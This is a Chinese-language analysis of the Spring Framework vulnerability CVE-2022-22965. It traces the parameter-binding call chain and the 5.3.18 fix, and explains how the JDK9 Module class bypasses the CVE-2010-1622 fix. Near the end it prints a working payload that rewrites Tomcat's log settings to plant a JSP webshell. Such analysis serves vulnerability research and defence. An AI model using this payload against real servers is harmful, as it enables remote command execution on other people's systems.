在 setPropertyValue(“name”, “wang”) 处分析调用逻辑,大致了解下流程
org.springframework.beans.AbstractNestablePropertyAccessor[^3]
- 调用getPropertyAccessorForPropertyPath方法通过 getter 来获取嵌套属性
- getPropertyAccessorForPropertyPath 存在嵌套 A.B.C 属性时,循环调用 getter 取值
- getPropertyAccessorForPropertyPath 存在嵌套 A.B.C 属性时,循环调用 getter 取值
- 调用setPropertyValue方法通过 setter 来设置属性
- getLocalPropertyHandler 获取属性描述符
- setValue 通过反射调用 setter 进行赋值
- CachedIntrospectionResults#forClass 为当前Bean创建缓存
- 【CVE-2022-22965 漏洞分析】…
- getCachedIntrospectionResults 从缓存中获取 PropertyDescriptor
- processKeyedProperty 设置 Array/List… 对象
- processLocalProperty 设置简单 Bean 对象
- getLocalPropertyHandler 获取属性描述符
以如下的 controller 为例,跟踪 spring 参数绑定的过程
@GetMapping("/") public String info(User user) { return String.format("%s is %d", user.getName(), user.getInfo().getAge()); }
- 传入的 http 请求经过 org.springframework.web.servlet.DispatcherServlet#doDispatch处理,寻找对应的 Handler 进行处理
- org.springframework.web.method.support.InvocableHandlerMethod#invokeForRequest 调用 Handler 前进行参数绑定
- 使用响应的 org.springframework.web.method.support.HandlerMethodArgumentResolver#resolveArgument 来进行参数解析,从 request 中获取参数 。这里为 org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument
- 接下来进入到 org.springframework.validation.DataBinder#doBind,根据 JavaBean 对象来进行赋值 。这里会获取一个BeanWrapperImpl通过setPropertyValues来进行赋值
- org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
- org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue
官方在 5.3.18 修复了这个问题,在 org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults 处进行了相关修改,加强了一个 PropertyDescriptor 相关的过滤 。查看相关调用
- org.springframework.beans.CachedIntrospectionResults#forClass
- org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults
<init>:272, CachedIntrospectionResults (org.springframework.beans)forClass:181, CachedIntrospectionResults (org.springframework.beans)getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)applyPropertyValues:856, DataBinder (org.springframework.validation)doBind:751, DataBinder (org.springframework.validation)doBind:198, WebDataBinder (org.springframework.web.bind)bind:118, ServletRequestDataBinder (org.springframework.web.bind)bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)...
由于 JDK9 新提供了 java.lang.Module[^4] 使得在 CachedIntrospectionResults#CachedIntrospectionResults 能够通过 class.module.classLoader 来获取 classLoader,所以这个洞也是 CVE-2010-1622[^5] 的绕过 。
目前流传的EXP都是利用 Tomcat 的 ParallelWebappClassLoader 来修改 Tomcat 中日志相关的属性[^6],来向日志文件写入 webshell 达到命令执行的目的 。
例如向 webapps/shell.jsp 写入 http header 中的 cmd
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefix=shellclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
推荐阅读
- 如何自己开发漏洞扫描工具
- 九号、雅迪、爱玛、台铃电动车怎么选?都有什么优缺点?一次性分析明白
- 苹果|黑客可全面控制 苹果曝出严重安全漏洞!这项更新建议所有人升级
- 关于上不了网的原因分析和解决办法 不能上网的原因
- 苹果|苹果严重安全漏洞冲上热搜第一:黑客能接管设备
- 水质分析中重金属检测技术 水质重金属分析
- 供应链金融五大模式分析与举例 供应链金融业务模式
- 分析月经期不能吃什么
- 衬衫|美发店铺选址要分析的核心点,让店铺独占鳌头
- NVIDIA|5nm显卡即将发布 分析师对NVIDIA变脸:快抄底